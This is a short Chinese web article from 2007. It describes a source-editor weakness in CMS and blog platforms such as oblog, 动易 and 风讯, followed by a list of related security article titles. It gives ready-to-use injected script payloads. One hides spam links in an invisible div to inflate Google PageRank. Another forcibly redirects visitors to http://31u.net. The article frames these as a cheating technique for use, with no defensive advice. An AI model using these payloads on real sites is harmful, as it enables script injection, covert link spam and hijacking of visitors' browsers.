关于oblog、动易、风讯等拥有源码编辑的程序漏洞浅析
更新时间：2007年01月16日 00:00:00 投稿：mdxy-dxy
这篇文章主要介绍了关于oblog、动易、风讯等拥有源码编辑的程序漏洞浅析
目前的oblog、动易、风讯等一系列著名的系统，都存在源码编辑漏洞。
具体操作是：
1，进入"源码"编辑
2，输入阶段公分四段：
第一段：<此处输入正文，做事需要手下留情嘛，来点实际内容>
第二段：<script>document.write(’<div style="display:none">’);</script>
第三段：<此处输入作弊链接，获取google的pr值，此处的内容将不会被浏览者看 到，且不会被搜索引擎发现>
第四段：<SCRIPT>window.setTimeout("Timer()", 1000);function Timer(){document.location=’http://31u.net’;}</SCRIPT>
也可以不设置时间或将时间设置为0，那么点击该页面后将直接跳转到指定页面。
相关文章
Debian OpenSSL包里的算法有问题，random number生成居然是在process pid里选取，导致生成key可穷举2008-05-05
By:疯狗[B.C.T] 以前一直在传迅雷还有0day，Activex的应该差不多了，但是也不敢怠慢，还是卸载之，今天丰初发来一URL，原来素一迅雷0day，看说明还是远程！感觉装了一个，看那个漏洞监听的端口2008-05-05
这篇文章讨论常用的"sql注入"技术的细节，应用于流行的Ms IIS/ASP/SQL-Server平台。这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法。2009-01-01
发布时间:2008-04-28 更新时间:2008-04-30 危害级别:★★★☆☆☆ 受影响版本: WordPress Download Monitor 2.0.6 描述: BUGTRAQ ID: 289752008-05-05
找出通病 通杀国内软件防火墙的弱点...2007-01-01
一些收集到的经典漏洞详解...2007-01-01
一个简单的花指令伪装器-Delphi版木马彩衣...2007-01-01
系统安全：Win XP SP2 配置及故障解决技巧大揭露...2007-01-01
google hack dat 又增加的一些比较新的数据2007-01-01
跨站脚本说明...2007-01-01
最新评论